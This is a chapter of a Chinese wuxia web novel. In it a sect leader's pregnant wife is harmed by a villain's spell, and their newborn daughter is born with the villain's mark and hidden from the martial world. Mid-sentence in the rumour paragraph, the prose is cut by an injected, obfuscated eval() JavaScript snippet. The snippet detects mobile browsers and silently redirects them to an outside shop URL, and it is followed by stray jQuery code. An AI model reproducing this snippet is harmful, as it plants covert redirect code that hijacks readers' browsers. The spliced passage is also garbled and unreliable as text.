崭绝山边不远处的驻扎营地内,慕容连衡抱着不省人事的蓝令容,心急如焚,步履匆乱地赶回营帐。
叶执紧随其后:“大哥,我这就去找大夫来。”
“令容是被殷崭的阵法所伤,寻常的大夫只怕不行。”慕容连衡将蓝令容小心放在榻上,眉头深锁,“此地偏僻,要上哪去寻一个医术高明的大夫……”
叶执忽然想起些什么,提议道:“大哥,我倒有一人选。北阙宗萧琮宗主的夫人温显意师从药王,医术十分了得,此次围剿她也跟随北阙宗的弟子前来,现下应该在随行医师的队伍中,请她或许可以。”
慕容连衡关心则乱,竟没想到这点,他一拍脑门,恍然道:“对……你说的对,我这就去请!”
叶执赶忙拉住慕容连衡:“大哥,你现在还是守在大嫂身边更为稳妥,还是我去吧。”
慕容连衡微微一愣,知道自己乱了方寸,无奈应允道:“阿执,那就拜托你了。”
叶执前脚刚离开营帐,一个矮小的身影从营帐门口探出头来,唤道:“师父。”
慕容连衡转头看去,见来人是自己的亲传弟子江尧,紧绷的神情略微缓和,温声道:“阿尧,是你啊……你怎么过来了?”
江尧年仅七岁,可天资聪颖,行事妥帖,慕容连衡一眼便从今年新入门的弟子中选中了他。这次崭绝山围剿,慕容连衡让江尧跟在随行队伍之中,权当见见世面,经些风浪。
江尧刚拜入慕容连衡门下不久,对自己的这位宗主师父还有些怯生生的,他捏紧了手里的信,禀报道:“师父,方才外头有人用飞镖传了封信,正好被我撞见了。”
“什么信?让我看看。”
江尧将一封信和一枚飞镖递给了慕容连衡,慕容连衡瞧那信上被飞镖钉出个窟窿,拿起飞镖比对,形状吻合,证实江尧所言非虚。
慕容连衡将信纸展开,却见这信中内容竟然是用一片片从书册中裁剪下的小字拼贴而成。那些字贴得歪歪扭扭,甚至有不少错字,语句也不甚通顺,几乎让慕容连衡以为是某人的恶作剧。
可慕容连衡定睛细读,立刻发现了不对劲。
这信虽有些前言不搭后语,慕容连衡仍流畅理解了信中的内容:“殷崭自知大限将至,启动离魂渡生阵,将他的内力修为储存在一位宿主体内,他的元神则夺舍转生,等时机合适,他就会从宿主身上取回内力,从而再世为人,不死不灭。”
这封信件,竟写明了崭绝山顶阵法的作用。
信中的内容实在是过于骇人听闻,慕容连衡心神震荡,恍惚间险些站立不稳,他不可置信地喃喃道:“这怎么可能呢……”
江尧仰着头,不明所以:“师父,您怎么了?”
慕容连衡勉力克制,他半蹲下身平视着江尧,问道:“阿尧,你可有看清这送信之人的模样?”
江尧摇了摇头:“那人穿着黑衣,又遮着脸,一下就闪走了,我没看清他的样子。”
慕容连衡又问:“还有其他人知道或者看过这封信吗?”
江尧蓦然瞪大了眼,赶忙否认:“师父,绝对没有!我怕是不好的东西,一捡到就马上拿来给师父看了,我自己也没看过的!”
慕容连衡见他诚惶诚恐,强扯出一个安抚的笑,摸了摸江尧的头:“阿尧,你做得很好。有关这封信的事,一定不要告诉给任何人,切记。”
江尧被慕容连衡一夸,面颊飞红,觉得自己被师父委以重任,允诺道:“师父,我知道了,我绝对不会说出去的。”
慕容连衡望着江尧离去的背影,思绪纷乱。究竟是谁会在这时送给他一封这样的信?写这信的人,不但知晓殷崭阵法的作用,还知道蓝令容被阵法所伤之事,极有可能就潜藏在这次围剿的队伍中。
此人……究竟是敌是友?
不多时,叶执快去快回,将温显意带到了。温显意提着药箱快步进屋,额前发丝因为快马疾奔有些凌乱,她无暇顾及,对慕容连衡匆匆一礼,直言道:“慕容宗主,详细情况叶大侠在路上都已同我讲明,事不宜迟,快带我去见夫人吧。”
慕容连衡:“好,温大夫请随我来。”
慕容连衡带着温显意进入帐中诊治,叶执不便跟着,索性坐在营帐外等候,他从怀中掏出一个小木块和一柄刻刀,潜心雕刻起来。
那木块上刻着的图样依稀能看出是两只鸟类生物,只可惜雕工实在有些不敢恭维,倒似一对山鸡。不过叶执本人对此十分满意,刻着刻着,面上不自觉带了笑意,完全沉浸在自己的艺术创作里。
营帐内,温显意替蓝令容把了脉,神情逐渐变得复杂难言。
慕容连衡看在眼里,心中一沉,强自镇定道:“温大夫,尽管直言。”
温显意收回了诊脉的手,转头看向慕容连衡:“我听闻宗主夫人是在崭绝山上中了阵法后便昏迷不醒,慕容宗主可知道那阵法是作何用的?”
“大抵已经知道了。”慕容连衡救妻心切,不欲隐瞒温显意这位大夫,将那密信中记载的阵法作用详尽告知了她。
温显意听罢,长叹道:“生老病死乃是天道,世间竟有此能逆天而行的邪术,必然要付出极其惨重的代价。”
慕容连衡道:“根据信中所写,殷崭应当是用阵法达到夺舍转生的目的,并且把他的内力寄存在了令容的身体之中。”
温显意闻言,却微微蹙起了眉,略显犹疑:“可是……这与我方才诊脉所得并不一致。”
慕容连衡讶然:“温大夫此言何意?”
温显意:“我的确能感受到属于殷崭的内力正在夫人的经脉之中流动,而且都正在往一处汇聚,却并不是夫人的气海丹田……而是夫人的子宫。”
慕容连衡顿时如置冰窟,彻骨的寒意瞬间蔓延上他的脊背,他错愕道:“你是说……殷崭的内力,正在向令容腹中的胎儿汇集?”
温显意道:“正是。依慕容宗主所言,那阵法的作用是给殷崭的内力寻找一个合适的宿主。阵法作用在夫人身上后,它发现了一个比夫人本人更为适合的宿主,更年轻、也更有生命力……那便是夫人体内尚未出世的胎儿。”
慕容连衡道:“令容和我们的孩子会如何?”
“慕容宗主,我打个比方吧。”温显意指了指桌上那杯早已变凉的茶水,“就好比桌上这杯茶,殷崭的内力如同这杯中的茶水,而宿主的身躯就是这盛着茶水的杯盏,要想茶水不会洒漏出去,就要让这杯盏足够稳当、坚固。”
温显意顿了顿,接着道:“孩子非但不会有事,恰恰相反,这个孩子会格外的健康顽强,因为殷崭要确保他的内力能够完好无损地储存着,等到他有朝一日来取回自己的内力。夫人她也不会有事,她是受阵法冲击暂时昏了过去,待我替她施针之后便可无虞。”
慕容连衡阖起眼,沉吟半晌,才艰难开口:“……如果孩子没能顺利降生,那孩子体内的殷崭内力会怎么样?”
温显意道:“我不能妄下断言,只能说,最好的结果便是一尸两命,殷崭的内力也随之消散。当然,对于慕容宗主来说,这就是最坏的结果。”
殷崭早就算准了一切,他的内力一定要存放在一个不会被轻易除掉的人身上,甚至慕容连衡还要保护他的妻子和孩子,也就等同于帮殷崭保护他的内力。
此时,蓝令容恰好醒转,意识模糊间听到慕容连衡问出这一句,误以为他想要舍弃孩子来摧毁殷崭的内力,她颤抖着伸出手,死死攥着慕容连衡的衣袖,几乎是咬牙切齿地道:“慕容连衡,必须保住我的孩子,否则……我绝不原谅你!”
“令容!”慕容连衡见蓝令容醒了,赶忙上前查看她的状况,蓝令容一把拂开慕容连衡,不去看他,转而对温显意道:“温大夫,请帮我保这孩子周全。”
“这并不难,我可以做到。”温显意道,她面露悲悯之色,话锋陡然一转,“可是……夫人,这孩子带着恶剑魔的内力来到世上,注定会遭到数不尽的劫数,或许会过得很艰难……哪怕是这样,夫人也还是想让这孩子来到世上吗?”
蓝令容道:“当然……!那是殷崭的错,不是孩子的错,我的孩子不该被剥夺来到这世上的权利。我一定会尽我所能,不惜一切手段来保护我的孩子,让我的孩子平安长大。”
温显意听罢这一番话,垂眸望向蓝令容,眼中纠结复杂,良久无言。
慕容连衡的手掩在袖中,先是紧紧攥起,又渐渐地释然松开,他做出了最后的决定,道:“温大夫,就按令容说的,请帮我们保下这个孩子吧。”
温显意:“……好,那便依宗主和夫人所言,我会为二位达成心愿。”
随后,温显意为蓝令容施针治疗,慕容连衡走出帐外,见叶执正坐在不远处专心致志地刻着块木头,便凑过去瞧了一眼:“这两只是什么鸡?刻的还挺像那么回事。”
叶执闻言,手上动作一顿,讪讪将那块木头收了回去:“大哥,这其实是一对比翼鸟。”
“呃……”慕容连衡一哽,面露尴尬,赶紧找补道,“是我眼拙了,刚刚隔得远了没看清。你刻这个,是准备送给弟妹的?”
“是啊,云韫的生辰就快到了,想着亲手做个礼物给她。”提及妻子,叶执面上浮现一抹和煦笑意,旋即又正色道,“大嫂如何了,温大夫她怎么说?”
慕容连衡将温显意方才所言如实告诉给了叶执,叶执叹道:“殷崭真是阴魂不散,他算准了一切,就是要让大哥你陷入这种两难的境地,好歹毒的心思。”
慕容连衡道:“对了,若我没记错,弟妹应该准备临盆了吧?”
叶执道:“是啊,大夫说也就下个月的事了,所以等这边的事情了结,我得马上赶回家守着云韫。”
“好啊,真好……”慕容连衡万般感慨,“等令容也生了之后,两个孩子还能做个伴。到时呢,如果是一个男孩一个女孩,就订个娃娃亲,如果都是女孩或者都是男孩,就义结金兰,以后一起闯荡江湖。”
叶执哈哈一笑:“一言为定,这样真是再好不过了。”
只可惜世事无常,终难遂人愿。
似乎有一双无形的手在事件背后操纵着盘上棋局,也不知是从何处起的头,殷崭在崭绝山顶布下阵法之事不胫而走,传得沸沸扬扬,并且真假参半,演变成了一个让慕容连衡始料未及的情形——
“殷崭大限将至,为了报复自己的宿敌慕容连衡,临死前在崭绝山顶布下阵法,将自己的毕生的内力凭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051820|194806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
借阵法封印在了慕容连衡那还未降生的孩子体内。谁能杀了这个孩子并取心炼化,谁就能将殷崭的绝世内力据为己有,独步天下。”
传闻一出,天下哗然,引得无数人觊觎,虎视眈眈、各怀心思。慕容连衡联合当日参与围剿殷崭的正道各派在第一时间澄清此事,可覆水难收,不论他如何争辩解释,人的贪欲无穷无尽,一但被勾起,便是至死方休。
已经没有人在乎真相究竟如何,宁可错杀,也绝不会放过这个能得到绝世内力的机会。
慕容连衡此刻是哑巴吃黄连,他明知这阵法的真正作用是让殷崭夺舍转生,可他不能说。一旦这等逆天改命的邪术被宣之于众,引得人人效仿,可就真的要天下大乱了。
半年后,问剑谷内的产房外,伴随着一道清亮的婴儿啼哭之声,蓝令容如期诞下了孩子。
产婆抱着襁褓从屋内步出,脸上笑得堆满了褶子:“恭喜慕容宗主,喜得千金!”
“好,好!快让我看看!”
慕容连衡初为人父,也是极为欢喜的,他一扫数月以来的沉重心情,难得露出了发自内心的笑容。
产婆笑着将裹着女婴的襁褓递了过去,一边夸赞道:“这孩子的额间天生就有一枚红色胎记,很是好看呢。老婆子我接生过这么多孩子,还是第一次见到这样奇特的胎记,长大以后都不用描花钿了。”
慕容连衡的笑容霎时凝结在脸上。
他不自觉地深吸了一口气,有些艰难地伸出手接过襁褓,那握剑时所向披靡的手,此刻却难以自抑地微微颤抖。他本不信神佛,不知为何,心中竟一遍又一遍地祈祷着。
可这一次,神佛也爱莫能助,终究事与愿违。
他看到了,襁褓中女婴的额间赫然是一道赤红色的印记,形如崭绝剑上的纹路,那是由殷崭内力凝聚所形成的“崭绝印”。
而殷崭本人的额间,也有一枚一模一样的印记。产婆不识得这是崭绝印,还将它比拟作花钿,可在场其他人都看得分明,纷纷变了脸色。
这哪是什么花钿,分明是道催命符。
最年幼的江尧还没学会掩藏自己的情绪,失声惊呼道:“……怎么会这样?!”
慕容连衡明白,这也是殷崭的手笔。崭绝印一出,他的孩子被刻下了独属于他殷崭的烙印,彻底坐实了那个杀了他的孩子就能夺得殷崭内力的传言。
殷崭不仅要借阵法转生,更要让慕容连衡的孩子成为众矢之的,陷入永无止息的杀机之中,令她一生不得顺遂安宁,这是对慕容连衡最行之有效的报复。
慕容连衡头一遭体会到如此深刻的无力感,毁不去,逃不脱,放不下。
他抱着襁褓步入屋内,缓步走到床榻边,低头凝望着襁褓中的女婴,她正静静酣睡,全然不知自己将要面对怎样的腥风血雨。慕容连衡伸出手,指尖轻轻抚过女儿的脸颊,传来稚嫩温软的触感,令他五味杂陈,喜忧参半。
他纵横江湖多年,从不惧死,在攻上崭绝山前便已做好了同殷崭玉石俱焚的准备。可他的孩子是无辜的,她本该拥有平安喜乐的一生。
“……夫君,我都看到了。”
一声轻唤将沉浸在悲恸中的慕容连衡拉扯出来,他抬眼望去,卧榻上的蓝令容刚经历生产,面容因为生产消耗过甚透着苍白,发丝被汗水黏在额前鬓角,可她那双眼却格外清明,不悲不怒,只有决定面对一切的坦然。
慕容连衡看到她的眼神,更是愧疚难当,艰涩开口:“令容,是我连累了你们母女。”
“一家人,别说什么连不连累的。”蓝令容摇了摇头,语气坚定,“当时是我坚持要跟着上崭绝山,如今事情已经发生,无法回转,我们能做的便是尽力保护我们的女儿,不让殷崭那个挨千刀的得逞。”
二人四目相对,无需多言,都从彼此眼中看到了同样的决心。
翌日,问剑谷昭告武林,宗主慕容连衡喜得爱女。然而,慕容连衡紧接着便称女儿先天体弱,需居于问剑谷内静养,自那女婴出生以来,竟无一人得见其真面目。
“……光阴如梭,一晃经年,那女婴好似真的人间蒸发了一般,久而久之,也就成了武林中的一大秘闻。”
茶馆内,说书先生将手中惊堂木重重一拍,讲的又是那出人尽皆知却又百听不厌的,问剑谷与殷崭之间那剪不断理还乱的仇怨。
台下,一个听书人将口中瓜子皮一吐,嚷嚷道:“真有这么夸张?一个实实在在的大活人,怎么可能一直躲着藏着不见人!”
说书先生笑问:“这位客官,你可曾见过那个额间有崭绝印的孩子啊?”
听书人觉得这个问题有些白痴,翻了个白眼:“你问我我问谁啊,我又没去过问剑谷!”
说书先生又问:“那在座的各位,可有一人见过啊?”
台下众人左顾右盼,纷纷摇头。
“那就是了,那孩子天生带有崭绝印一事早已传遍天下,所有人都心知肚明,慕容连衡夫妇是为了保护自己的女儿,将她藏匿了起来……”
即便如此,仍不断有心怀叵测之徒暗中窥探,试图寻得慕容连衡之女的蛛丝马迹,却都无功而返。问剑谷宗主之女,似乎仅仅活在旁人的话里,一时成谜。